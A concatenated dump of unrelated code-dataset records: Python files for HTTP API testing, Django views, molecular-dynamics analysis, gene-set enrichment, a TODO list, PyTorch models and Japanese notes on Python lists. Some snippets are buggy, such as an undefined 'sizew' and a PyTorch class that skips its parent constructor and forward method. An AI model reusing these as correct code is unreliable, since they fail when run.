def add_request(self, method, address, request, response, session):\n self.requests.append(LogRequest(method, address, request, response, session))\n\n def assertions_for_response(self, response):\n return [\n ass\n for ass in self.assertions\n if ass.response == response\n ]\n\n def add_assertion(self, assertion_name, target_response):\n self.assertions.append(LogAssertion(assertion_name, target_response))\n\n def __repr__(self):\n tmpl = \"Record(requests=%r, assertions=%r)\"\n return tmpl % (self.requests, self.assertions)\n\n\n# TODO: thread-safe version?\nclass _Recorder(object):\n def __init__(self):\n self.log = OrderedDict()\n\n @staticmethod\n def _get_current_test_case_name():\n for entry in inspect.stack():\n _, _, _, func_name, _, _ = entry\n if func_name.startswith(\"test\"): # is this heuristic good enough?\n return func_name\n return None\n\n def record_http_request(self, method, address, request, response, session):\n test_case = self._get_current_test_case_name()\n if test_case not in self.log:\n self.log[test_case] = Record()\n self.log[test_case].add_request(method, address, request, response, session)\n\n def record_assertion(self, assertion_name, target_response):\n if not self.log:\n raise ValueError(\"Can't record assertion, no test cases were registered yet\")\n last_record = self.log[next(reversed(self.log))]\n if not last_record:\n raise ValueError(\"Can't record assertion, no test cases were registered yet\")\n last_record.add_assertion(assertion_name, target_response)\n\n def record_assertion_failure(self, failure_message): # do we need to pass some kind of context or assertion id?\n if not self.log:\n raise ValueError(\"Can't record assertion, no requests were made yet\")\n last_record = self.log[next(reversed(self.log))]\n if not last_record:\n raise ValueError(\"Can't record assertion, no test cases were registered yet\")\n last_assertion = last_record.assertions[-1]\n last_assertion.is_failed = True\n last_assertion.failure_message = failure_message\n\n @staticmethod\n def assertion_decorator(assertion_method):\n @wraps(assertion_method)\n def _impl(self, *method_args, **method_kwargs):\n recorder.record_assertion(getattr(assertion_method, '__name__', 'assertion'), self)\n try:\n return assertion_method(self, *method_args, **method_kwargs)\n except BaseException as exc:\n recorder.record_assertion_failure(str(exc))\n raise\n return _impl\n\n\nrecorder = _Recorder()\n\n\nclass HTTPTarget(object):\n def __init__(\n self,\n address,\n base_path=None,\n use_cookies=True,\n default_headers=None,\n keep_alive=True,\n auto_assert_ok=True\n ):\n self.address = address\n # config flags\n self._base_path = base_path\n self._use_cookies = use_cookies\n self._keep_alive = keep_alive\n self._default_headers = default_headers\n self._auto_assert_ok = auto_assert_ok\n # internal vars\n self.__session = None\n\n def use_cookies(self, use=True):\n self._use_cookies = use\n return self\n\n def base_path(self, base_path):\n self._base_path = base_path\n return self\n\n def keep_alive(self, keep=True):\n self._keep_alive = keep\n return self\n\n def default_headers(self, headers):\n self._default_headers = headers # NOTE: copy or even update?\n return self\n\n def auto_assert_ok(self, value=True):\n self._auto_assert_ok = value\n\n def _bake_address(self, path):\n addr = self.address\n if self._base_path is not None:\n addr += self._base_path\n addr += path\n return addr\n\n def request(self, method, path,\n params=None, headers=None, cookies=None, data=None, json=None, allow_redirects=False, timeout=30):\n \"\"\"\n Prepares and sends an HTTP request. Returns the response.\n\n :param method: str\n :param path: str\n :return: response\n :rtype: HTTPResponse\n \"\"\"\n if self._keep_alive and self.__session is None:\n self.__session = requests.Session()\n\n if self.__session is not None and not self._use_cookies:\n self.__session.cookies.clear()\n\n address = self._bake_address(path)\n response = http.request(method, address, session=self.__session,\n params=params, headers=headers, cookies=cookies, data=data, json=json,\n allow_redirects=allow_redirects, timeout=timeout)\n if self._auto_assert_ok:\n response.assert_ok()\n return response\n\n def get(self, path, **kwargs):\n # TODO: how to reuse requests.session? - pass it as additional parameter for http.request ?\n return self.request(\"GET\", path, **kwargs)\n\n def post(self, path, **kwargs):\n return self.request(\"POST\", path, **kwargs)\n\n def put(self, path, **kwargs):\n return self.request(\"PUT\", path, **kwargs)\n\n def delete(self, path, **kwargs):\n return self.request(\"DELETE\", path, **kwargs)\n\n def patch(self, path, **kwargs):\n return self.request(\"PATCH\", path, **kwargs)\n\n def head(self, path, **kwargs):\n return self.request(\"HEAD\", path, **kwargs)\n\n\n# HTTP Response:\nclass HTTPResponse(object):\n # properties:\n # - url\n # - status code\n # - status message\n # - text\n # - content\n # - headers\n # - cookies\n # - request\n\n def __init__(self, py_response):\n \"\"\"\n\n :param py_response: requests.Response\n :type py_response: requests.Response\n \"\"\"\n self.py_response = py_response\n # TODO: unpack all py_response fields into local properties\n\n @classmethod\n def from_py_response(cls, py_response):\n \"Construct HTTPResponse from requests.Response object\"\n return cls(py_response)\n\n def __eq__(self, other):\n return self.py_response == other.py_response\n\n # TODO: text, content - @property?\n\n @recorder.assertion_decorator\n def assert_ok(self, msg=None):\n if self.py_response.status_code >= 400:\n msg = msg or \"Request to %s didn't succeed\" % self.py_response.url\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_failed(self, msg=None):\n if self.py_response.status_code < 400:\n msg = msg or \"Request to %s didn't fail\" % self.py_response.url\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_2xx(self, msg=None):\n if not 200 <= self.py_response.status_code < 300:\n msg = msg or \"Response code isn't 2xx, it's %s\" % self.py_response.status_code\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_3xx(self, msg=None):\n if not 300 <= self.py_response.status_code < 400:\n msg = msg or \"Response code isn't 3xx, it's %s\" % self.py_response.status_code\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_4xx(self, msg=None):\n if not 400 <= self.py_response.status_code < 500:\n msg = msg or \"Response code isn't 4xx, it's %s\" % self.py_response.status_code\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_5xx(self, msg=None):\n if not 500 <= self.py_response.status_code < 600:\n msg = msg or \"Response code isn't 5xx, it's %s\" % self.py_response.status_code\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_status_code(self, code, msg=None):\n actual = str(self.py_response.status_code)\n expected = str(code)\n if actual != expected:\n msg = msg or \"Actual status code (%s) didn't match expected (%s)\" % (actual, expected)\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_not_status_code(self, code, msg=None):\n actual = str(self.py_response.status_code)\n expected = str(code)\n if actual == expected:\n msg = msg or \"Actual status code (%s) unexpectedly matched\" % actual\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_in_body(self, member, msg=None):\n if member not in self.py_response.text:\n msg = msg or \"%r wasn't found in response body\" % member\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_not_in_body(self, member, msg=None):\n if member in self.py_response.text:\n msg = msg or \"%r was found in response body\" % member\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_regex_in_body(self, regex, match=False, msg=None):\n assert_regexp(regex, self.py_response.text, match=match, msg=msg)\n\n @recorder.assertion_decorator\n def assert_regex_not_in_body(self, regex, match=False, msg=None):\n assert_not_regexp(regex, self.py_response.text, match=match, msg=msg)\n\n # TODO: assert_content_type?\n\n @recorder.assertion_decorator\n def assert_has_header(self, header, msg=None):\n if header not in self.py_response.headers:\n msg = msg or \"Header %s wasn't found in response headers: %r\" % (header, self.py_response.headers)\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_header_value(self, header, value, msg=None):\n self.assert_has_header(header)\n actual = self.py_response.headers[header]\n if actual != value:\n msg = msg or \"Actual header value (%r) isn't equal to expected (%r)\" % (actual, value)\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_in_headers(self, member, msg=None):\n headers_text = headers_as_text(self.py_response.headers)\n if member not in headers_text:\n msg = msg or \"Header %s wasn't found in response headers text: %r\" % (member, headers_text)\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_not_in_headers(self, member, msg=None):\n if member in headers_as_text(self.py_response.headers):\n msg = msg or \"Header %s was found in response headers text\" % member\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_regex_in_headers(self, member, msg=None):\n assert_regexp(member, headers_as_text(self.py_response.headers), msg=msg)\n\n @recorder.assertion_decorator\n def assert_regex_not_in_headers(self, member, msg=None):\n assert_not_regexp(member, headers_as_text(self.py_response.headers), msg=msg)\n\n @recorder.assertion_decorator\n def assert_jsonpath(self, jsonpath_query, expected_value=None, msg=None):\n jsonpath_expr = jsonpath_rw.parse(jsonpath_query)\n body = self.py_response.json()\n matches = jsonpath_expr.find(body)\n if not matches:\n msg = msg or \"JSONPath query %r didn't match response content: %s\" % (jsonpath_query, body)\n raise AssertionError(msg)\n actual_value = matches[0].value\n if expected_value is not None and actual_value != expected_value:\n tmpl = \"Actual value at JSONPath query (%r) isn't equal to expected (%r)\"\n msg = msg or tmpl % (actual_value, expected_value)\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_not_jsonpath(self, jsonpath_query, expected_value=None, msg=None):\n jsonpath_expr = jsonpath_rw.parse(jsonpath_query)\n body = self.py_response.json()\n matches = jsonpath_expr.find(body)\n if matches:\n msg = msg or \"JSONPath query %r did match response content: %s\" % (jsonpath_query, body)\n raise AssertionError(msg)\n actual_value = matches[0].value\n if expected_value is not None and actual_value == expected_value:\n tmpl = \"Actual value at JSONPath query (%r) is equal to expected (%r)\"\n msg = msg or tmpl % (actual_value, expected_value)\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_xpath(self, xpath_query, parser_type='html', validate=False, msg=None):\n parser = etree.HTMLParser() if parser_type == 'html' else etree.XMLParser(dtd_validation=validate)\n tree = etree.parse(BytesIO(self.py_response.content), parser)\n matches = tree.xpath(xpath_query)\n if not matches:\n msg = msg or \"XPath query %r didn't match response content: %s\" % (xpath_query, self.py_response.text)\n raise AssertionError(msg)\n\n @recorder.assertion_decorator\n def assert_not_xpath(self, xpath_query, parser_type='html', validate=False, msg=None):\n parser = etree.HTMLParser() if parser_type == 'html' else etree.XMLParser(dtd_validation=validate)\n tree = etree.parse(BytesIO(self.py_response.content), parser)\n matches = tree.xpath(xpath_query)\n if matches:\n msg = msg or \"XPath query %r did match response content: %s\" % (xpath_query, self.py_response.text)\n raise AssertionError(msg)\n\n # TODO: assertTiming? to assert response time / connection time\n\n def extract_regex(self, regex, default=None):\n extracted_value = default\n for item in re.finditer(regex, self.py_response.text):\n extracted_value = item\n break\n return extracted_value\n\n def extract_jsonpath(self, jsonpath_query, default=None):\n jsonpath_expr = jsonpath_rw.parse(jsonpath_query)\n body = self.py_response.json()\n matches = jsonpath_expr.find(body)\n if not matches:\n return default\n return matches[0].value\n\n def extract_xpath(self, xpath_query, default=None, parser_type='html', validate=False):\n parser = etree.HTMLParser() if parser_type == 'html' else etree.XMLParser(dtd_validation=validate)\n tree = etree.parse(BytesIO(self.py_response.content), parser)\n matches = tree.xpath(xpath_query)\n if not matches:\n return default\n match = matches[0]\n return match.text","sub_path":"apiritif/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"90433300","text":"from datetime import datetime\nfrom random import randrange\n\nfrom django.shortcuts import render\n\n# Create your views here.\ndef home(request):\n fruits = ['苹果', '香蕉', '榴莲', '荔枝', '芒果', '草莓']\n start = 0\n end = randrange(len(fruits))\n fruits = fruits[start:end + 1]\n ctx = {\n 'greeting': '你好世界',\n 'current_time': datetime.now(),\n 'num':len(fruits),\n 'fruits': fruits\n }\n # 第二个参数是模板页面(路径在settings中配置)\n # 第三个参数是一个字典(替换模板中的占位符)\n return render(request, 'index.html', ctx)","sub_path":"hello_django/hrs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543551732","text":"#!/Library/Frameworks/Python.framework/Versions/2.7/bin/python\n\n# USAGE:\n# ./rgyr.py system_descripter pdb_file traj_file \n\n# calculate radius of gyration for a solute; \n\n# PREAMBLE:\n\nimport numpy as np\nimport MDAnalysis\nimport sys\n\nsystem = sys.argv[1]\npdb = sys.argv[2]\ntraj = sys.argv[3]\n\nselection = []\nselection.append('resid 1:9')\nselection.append('resid 10:18')\n\n# SUBROUTINES:\n\n# MAIN PROGRAM:\n\nu = MDAnalysis.Universe('%s' %(pdb), '%s' %(traj))\n\nsel = ['']*len(selection)\nfor i in range(len(selection)):\n\tsel[i] = u.select_atoms(selection[i])\n\nimportant = u.select_atoms('not (resname WAT or resname Na+ or resname Cl-)')\nprotein = u.select_atoms('protein')\nrest = u.select_atoms('not (resname WAT or resname Na+ or resname Cl- or protein)')\n\nnum_res = len(rest.residues)\n\nout = open('%s.rgyr.dat' %(system), 'w')\n\nfor ts in u.trajectory:\n\tif num_res != 0:\n\t\tdimensions = []\n\t\tdimensions = u.dimensions\n\t\t\n\t\timportant.translate(-protein.center_of_mass())\n\n\t\tfor i in range(num_res):\n\t\t\tCOM = np.zeros(3)\n\t\t\tCOM = rest.residues[i].center_of_mass()\n\n\t\t\tt = np.zeros(3)\n\n\t\t\tfor j in range(3):\n\t\t\t\tif COM[j] < -dimensions[j]/2.:\n\t\t\t\t\tt[j] = dimensions[j]\n\t\t\t\tif COM[j] > dimensions[j]/2.:\n\t\t\t\t\tt[j] = - dimensions[j]\n\n\t\t\trest.residues[i].atoms.translate(t)\n\tfor i in range(len(selection)):\n\t\trgyr = sel[i].radius_of_gyration()\n\t\tout.write('%10.6f ' %(rgyr))\n\tout.write('\\n')\n\nout.close()\n\n","sub_path":"rgyr.py","file_name":"rgyr.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"396781470","text":"import tkinter as tk\nfrom PIL import ImageTk, Image\nimport os\n\ndef center_window(width=300, height=300):\n # get screen width and height\n screen_width = root.winfo_screenwidth()\n screen_height = root.winfo_screenheight()\n\n\n # calculate position x and y coordinates\n x = (screen_width/2) - (width/2)\n y = (screen_height/2) - (height/2)\n root.geometry('%dx%d+%d+%d' % (width, height, 1325, 0))\n\n\nroot = tk.Tk()\ncenter_window(1334, 0)\n\n\n\nimg = ImageTk.PhotoImage(Image.open(\"a.png\"))\npanel = tk.Label(root, image = img)\npanel.pack(side = \"bottom\", fill = \"both\", expand = \"yes\")\n#root.image = tk.PhotoImage(file='a.png')\n#label = tk.Label(root, image=root.image, bg='white')\n#root.overrideredirect(True)\n#root.lift()\n#root.wm_attributes(\"-topmost\", True)\n#root.wm_attributes(\"-disabled\", True)\n#root.wm_attributes(\"-transparentcolor\", \"white\")\n#label.pack()\nroot.mainloop()","sub_path":"old/Tkinter interface.py","file_name":"Tkinter interface.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"62810742","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseBadRequest, HttpResponseForbidden, Http404, HttpResponseNotFound\nfrom django.contrib.auth.models import User\nfrom django.forms.models import model_to_dict\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.conf import settings\nimport json\nimport logging\nlogger = logging.getLogger(\"django\")\n@csrf_exempt\ndef get_mission(request):\n user = User.objects.get(username=request.POST[\"phone\"])\n missions = user.worker.get_today_mission()\n missionInfos = []\n for mission in missions:\n guarders = mission.worker.filter(profile=\"guarder\")\n driver = mission.worker.get(profile=\"driver\")\n car = mission.car\n guardersInfo = []\n for guarder in guarders:\n guarderInfo = {\n \"name\":guarder.name,\n \"workerId\":guarder.workerId,\n \"avatar\":settings.SITE_URL + guarder.avatar.url,\n \"phone\":guarder.user.username\n }\n guardersInfo.append(guarderInfo)\n missionInfo = {\n \"car\":{\n \"license\":car.license,\n \"status\":car.status\n },\n \"driver\":{\n \"name\":driver.name,\n \"workerId\":driver.workerId,\n \"avatar\":settings.SITE_URL + driver.avatar.url,\n \"phone\":driver.user.username\n },\n \"guarders\":guardersInfo,\n \"time_start\":mission.time_start.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"time_end\":mission.time_end.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n }\n missionInfos.append(missionInfo)\n return HttpResponse(json.dumps(missionInfos))\n\n","sub_path":"task/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"644854416","text":"import re\r\nimport json\r\n\r\n\r\nclass Item:\r\n \"\"\" класс создаёт заметку и при вызове метода, показывает её \"\"\"\r\n def __init__(self, name, done):\r\n self.name = name\r\n self.done = done\r\n\r\n def get_display(self):\r\n return f'{self.name}: {self.done}'\r\n\r\n\r\nclass TodoList:\r\n \"\"\" класс самого списка \"\"\"\r\n \"\"\" выбор языка вначале \"\"\"\r\n eng_regexp = r'^[A-Za-z]'\r\n ru_regexp = r'^[А-Яа-я]'\r\n lang_map = {\r\n 'ENG': eng_regexp,\r\n 'RU': ru_regexp\r\n }\r\n\r\n def __init__(self, owner_full_name, file_path, lang='ENG'):\r\n \"\"\" указывается юзер, название будущего файла, и путь его сохранения. при его отстутствии он создаётся \"\"\"\r\n self.owner_full_name = owner_full_name\r\n self.file_path = file_path\r\n self.act_regex = self.lang_map[lang]\r\n try:\r\n self.tasks = self.get_existing_tasks()\r\n except (FileExistsError, FileNotFoundError):\r\n self.tasks = {}\r\n\r\n def get_existing_tasks(self):\r\n \"\"\" метод открытия файла \"\"\"\r\n with open(self.file_path, 'r') as file:\r\n return json.load(file)\r\n\r\n def write_to_file(self):\r\n \"\"\" метод записи в файл \"\"\"\r\n with open(self.file_path, 'a+') as file:\r\n json.dump(self.tasks, file)\r\n json.dump(self.owner_full_name, file)\r\n\r\n def add_task(self, task_name, done):\r\n \"\"\" метод добавления заметки в список, проверка на соответствие введённой заметки языку \"\"\"\r\n if re.match(self.act_regex, task_name):\r\n task = Item(task_name, done)\r\n self.tasks.update({task.name: task.done})\r\n else:\r\n raise BaseException('Not match reg exp(((')\r\n\r\n def show_tasks(self):\r\n \"\"\" показывает заметки \"\"\"\r\n tasks = []\r\n for k, v in self.tasks.items():\r\n tasks.append(Item(k, v).get_display())\r\n print(' | '.join(tasks))\r\n\r\n def make_task_done(self, task_name):\r\n \"\"\" отмечает выполненную заметку как выполненную \"\"\"\r\n self.tasks[task_name] = True\r\n\r\n def show_undone_tasks(self):\r\n \"\"\" показывает, что ещё не выполнено \"\"\"\r\n undone_tasks = []\r\n for k, v in self.tasks.items():\r\n if not v:\r\n undone_tasks.append(Item(k, v).get_display())\r\n print(' | '.join(undone_tasks))\r\n\r\n def start_list(self):\r\n \"\"\" консольный интерфейс взаимодействия с юзером \"\"\"\r\n while True:\r\n opt = input('Input option add/show_all/show_undone/make_done/exit ')\r\n if opt == 'exit':\r\n self.write_to_file()\r\n break\r\n elif opt == 'add':\r\n self.add_task(input('Task_name '), bool())\r\n elif opt == 'show_all':\r\n self.show_tasks()\r\n elif opt == 'show_undone':\r\n self.show_undone_tasks()\r\n elif opt == 'make_done':\r\n self.make_task_done(input('Task_name '))\r\n\r\n\r\nmy_task_list = TodoList('Serhii Voitenko', 'tasks.json')\r\nmy_task_list.start_list()\r\n","sub_path":"Serhii_Voitenko TODO-list.py","file_name":"Serhii_Voitenko TODO-list.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"18148266","text":"import torch\n\n\ndef get(args):\n if args.model == \"baseline\":\n return Baseline(args)\n else:\n return Serious(args)\n\n\n# 25%\nclass Baseline(torch.nn.Module):\n def __init__(self, args):\n super().__init__()\n self.layer = torch.nn.Linear(32 * 32, args.num_classes)\n\n def forward(self, inputs):\n return self.layer(inputs)\n\n\n# 95% train, 70% on validation\nclass Serious(torch.nn.Module):\n def __init__(self, args):\n # float, half\n self.model = torch.nn.Sequential(\n torch.nn.Linear(32 * 32, 512),\n torch.nn.ReLU(),\n torch.nn.BatchNorm1d(512),\n torch.nn.Linear(512, 256),\n torch.nn.ReLU(),\n torch.nn.BatchNorm1d(256),\n torch.nn.Linear(256, args.num_classes),\n )\n","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94805995","text":"#!/usr/bin/python\n\n# Author : Melany Tanchon\n# Date : 01.11.2015\n# Description : More specific script than Search_enriched_sets.py. Only Information Content is here considered\n\nimport argparse\nfrom os.path import isfile\nfrom scipy.stats import binom\n\nimport math\nfrom math import *\nimport numpy as np\n\n############## BEGIN SCRIPT PARAMETERS \n# e.g. ./search_enriched_sets.py --sets EcolA.biocyc.sets --query 'ALAS ARGS ASNS ASPS CYSS GLTX GLYQ GLYS HISS ILES'\nparser = argparse.ArgumentParser(description='Search enriched categories in provided gene set') #Argument parser, genere automatiquement les message d'erreur. est compose d'objet arguments\nparser.add_argument('--query', required=True, help='Query set.')\t#Argument du parser required, l'identifiant des genes etudies\nparser.add_argument('--sets', required=True, help='Target sets (categories).') #Argument du parser required le fichier .set sur lequel on lance l'analyse \nparam = parser.parse_args()\n\n\n############## BEGIN CLASSES OBJECTS\nclass Identifiers(object) :\t\t\t\t\t\t\t\t\t\t\n\tdef __init__(self, text = None, filename = None, name = None): \n\t\tself.name = name\n\t\tself.ids = []\n\t\tself.index = {}\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tif text is not None:\n\t\t\tself.load(text)\n\t\telif filename is not None:\n\t\t\tself.load(filename)\n\t\n\tdef load(self, text):\n\t\tif isfile(text):\n\t\t\twith open(text) as f:\n\t\t\t\tcontent = f.read()\n\t\t\t\tlines = content.split('\\n')\n\t\t\t\ti=0\n\t\t\t\tfor l in lines:\n\t\t\t\t\tif l!='':\n\t\t\t\t\t\twords = l.split()\n\t\t\t\t\t\tfor w in words:\n\t\t\t\t\t\t\tif w not in self.index:\n\t\t\t\t\t\t\t\tself.index[w] = i\n\t\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\t\tself.ids.append(w)\n\t\telse:\n\t\t\ti=0\n\t\t\twords = text.split()\n\t\t\tfor w in words:\n\t\t\t\tif w not in self.index:\n\t\t\t\t\tself.index[w] = i\n\t\t\t\t\ti += 1\n\t\t\t\t\tself.ids.append(w)\n\t\t\t\n\nclass ComparedSet(object):\n\tdef __init__(self, id, name = '', common = 0, size = 0, pvalue = 1, elements = [], common_elements = [], ic = 0.0):\n\t\tself.id = id\n\t\tself.name = name\n\t\tself.common = common\n\t\tself.size = sizew\n\t\tself.pvalue = pvalue\n\t\tself.elements = elements\n\t\tself.common_elements = common_elements\n\t\tself.ic = ic\n############## END CLASSES OBJECTS \n\n\n############## BEGIN METHODS\n#\n# LOAD REFERENCE SETS\ndef load_sets(filename):\n\tsets = {}\n\tids={}\n\twith open( filename ) as f:\n\t\tcontent = f.read()\n\t\tlines = content.split('\\n')\n\t\tfor l in lines:\n\t\t\twords = l.split('\\t')\n\t\t\tif len(words) > 2 and not words[0].startswith('#'):\n\t\t\t\tid = words.pop(0)\n\t\t\t\tname = words.pop(0)\n\t\t\t\twords = [elem for elem in words if len(elem) != 0] \n\t\t\t\tsets[ id ] = { 'name': name, 'elements': words}\n\t\t\t\tfor w in words:\n\t\t\t\t\tids[w] = 1\n\treturn [ sets, len( ids.keys() ) ]\n\n############## END METHODS\n\n\n\n\n#############MAIN \n####LOADS\n\n#QUERY\nquery = Identifiers(param.query)\n\n#sets\n(sets, population_size) = load_sets(param.sets)\n\n#ANNOTATION_IC\nannotationIC={}\n\n# EVALUATE SETS\nresults = []\nquery_size = len(query.ids)\n\nfor id in sets:\n\telements = sets[ id ][ 'elements' ]\n\tcommon_elements = set(elements).intersection( query.ids )\n\tif id not in annotationIC:\n\t\tannotationIC[id]=-math.log(float(len(elements))/float(population_size),10)\n\tpval = binom.cdf( query_size - len(common_elements), query_size, 1 - float(len(elements))/population_size)\n\tr = ComparedSet( id, sets[id]['name'], len(common_elements), len(elements), pval, elements, common_elements, annotationIC[id])\n\tresults.append( r )\n\n\n# PRINT SIGNIFICANT RESULTS\nresults.sort(key=lambda an_item: an_item.ic)\nresults.reverse()\nfor r in results:\n\tprint(\"%s\\t%s\\t%s/%s\\t%s\\t%s\\t%s\" % ( r.id, r.pvalue, r.common, r.size, r.name, ', '.join(r.common_elements), r.ic))\n\n","sub_path":"ic.py","file_name":"ic.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"13365294","text":"#リスト\r\n\r\n\r\n'''\r\n?リストとは?\r\n 例えば関連するの複数の変数があったとして、\r\n variable_1 variable_2 variable_3 みたいに分けるの面倒だよね!\r\n そこに出でるは「list」なんだ\r\n variablesというリストにvariable1,2,3,とまとめるとゴッサ楽でしょ?手間が減るでしょ?\r\n 楽々で天国ハッピーだよ!\r\n でも便利なときがよくあるってだけでなんでもかんでもリスト化すると面倒になったりするよ\r\n 例えば分類が微妙な物の場合だね!\r\n 複数の文字列や複数の数値を1つのものとして管理することが出来るんだ!\r\n ミクロをマクロにするって事だよ、多分きっとそうだよ!'''\r\n# じゃあListってどんなところで使うんだろう?\r\n# 1 出席番号、座席順、パーティの並び順\r\n# トランプや将棋などの「ゲームデータ」\r\n# 2.Webフォームの選択肢\r\n# 年齢、都道府県など\r\n# 例えばWebフォームで年齢や都道府県を入力するときに\r\n# その元になるデータをlistに格納ていくよん\r\n# 3 エクセルのような複数行データ\r\n# csvデータの処理(csvとはテキストフォーマットを使ったデータ処理の一種\r\n# Comma-Separated Valuesの略でcsvだお!)\r\n# とかで使うよ!ぶっちゃけよくわかんないから後で作ってみようね!\r\n\r\n\r\n'''\r\n[...] でリスト(list)を表すよ!\r\n\r\n\r\na = [10, 20, 30, 40]\r\n↑要素が少ない場合はこっちの書き方で\r\n\r\n下記の様に改行して記述することも出来るよ!最後のカンマ(,)は省略可能だよ\r\n他の言語でどうかとかは知らないよ!\r\n\r\ncolors = [\r\n 'red',\r\n 'green',\r\n 'blue',\r\n]\r\n↑これクッソ分かりやすいよね、いい書き方だと思うよ。\r\n要素が多い場合はこっちの書き方が推奨かもね\r\n\r\n\r\n\r\nリストも1つの値だから変数に代入することができるよ!\r\nこのとき、リストを代入する変数名は慣習上、複数形にすることが多いよ!\r\nってか複数の集まりがリストなんだから複数形にしないと不自然極まるね!\r\n単数系ってwwwって笑われる前に複数形にしてね\r\n変数名は猫の名前みたいに大事につけてあげよう!\r\n\r\n\r\nんで、例えば以下のリストの場合\r\ncolors = [\r\n 'red',\r\n 'green',\r\n 'blue',\r\n ]\r\nと三つ要素があるよね?\r\n例えばgreenを指定したいよぉぉぉぉってなった場合どうすればいいだろう?\r\n答えはインデックス番号にあるよ!\r\nインデックス番号とは\r\nx = 要素の数\r\n0~x\r\nまで振り分けられててこのリストのインデックス番号は\r\n\r\n0 は red\r\n1 は green\r\n2 は blue\r\n\r\nと振り分けられてるよ!人間、物を数える時は1から数える癖があるけどlistの場合は\r\n「0」から数えるからマジで気を付けてね!PCは無慈悲だよ!\r\n\r\n んで本題に戻るとgreenを呼び出したいわけだったねそしたら\r\n (list_name[index_number])で呼び出せるよ!\r\n 具体的にはprint('colors[2]')\r\n で\r\n string typeのgreenが出力されるってばよ\r\n\r\nじゃあ本題いってみよー\r\n\r\n# 変数fruitsに、複数の文字列を要素に持つリストを代入してください\r\nfruits = [\r\n apple, ←'で囲ってあげてないよ\r\n banana, ←'で囲ってあげてないよ\r\n orange, ←'で囲ってあげてないよ\r\n ]\r\n\r\n# インデックス番号が0の要素を出力してください\r\nprint('fruits[0]') ←要素はstring typeだからいちいち変換しなくていいよ\r\n\r\n# インデックス番号が2の要素を文字列と連結して出力してください\r\nprint('好きな果物は' + fruits[2] + 'です')\r\n正しくは↓\r\n'''\r\n\r\n# 変数fruitsに、複数の文字列を要素に持つリストを代入してください\r\nfruits = [\r\n 'apple',\r\n 'banana',\r\n 'orange',\r\n ]\r\n#'シングルクオートを付けてstring typeにちゃんと指定する\r\n# 注意なのが、list内の\r\n# 要素\r\n# と\r\n# ]\r\n# にはちゃんとインデントを付ける事、区別しないとIndent警察に怒られるゾ\r\n\r\n# インデックス番号が0の要素を出力してください\r\n\r\nprint(fruits[0])\r\n\r\n\r\n# インデックス番号が2の要素を文字列と連結して出力してください\r\nprint('好きな果物は' + fruits[2] + 'です')\r\n\r\n\r\n\r\n\r\n\r\n#復習がてら以下paizaのlist学習\r\n'''\r\nlistはほかのPG言語だと配列って呼ばれているよ!\r\nまぁ言ってることは変わらずで\r\nvariableは箱\r\nlistは0から始まる連結した箱\r\nlistはindex number で個々のデータを区別するよ\r\n例えばpaizaでは\r\nteams\r\nというリスト\r\nに\r\nteams[0]'勇者'\r\nteams[1]'魔法使い'\r\nとかの要素を入れてるよ\r\n\r\nlistってクッソ便利で\r\nd\r\n\r\nn = なんでもいい\r\nprint(teams[n + 1])\r\nこれは\r\nそのindex numberには何のvariableが入ってるか計算で求めれる、出力だよ。\r\n三の倍数には何々を、素数には何々をとかルール決めたら後で分かりやすいかもね\r\n\r\n\r\nprint(len(teams))\r\nこいつぁlistにariabelがいくつ入ってるか確認するコードだよ!\r\nlen\r\nとは\r\nlength\r\nの略で長さって意味だよ!\r\n'''","sub_path":"4-1_リスト_複数のデータを扱おう.py","file_name":"4-1_リスト_複数のデータを扱おう.py","file_ext":"py","file_size_in_byte":5596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"196874239","text":"\"\"\"day60 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another 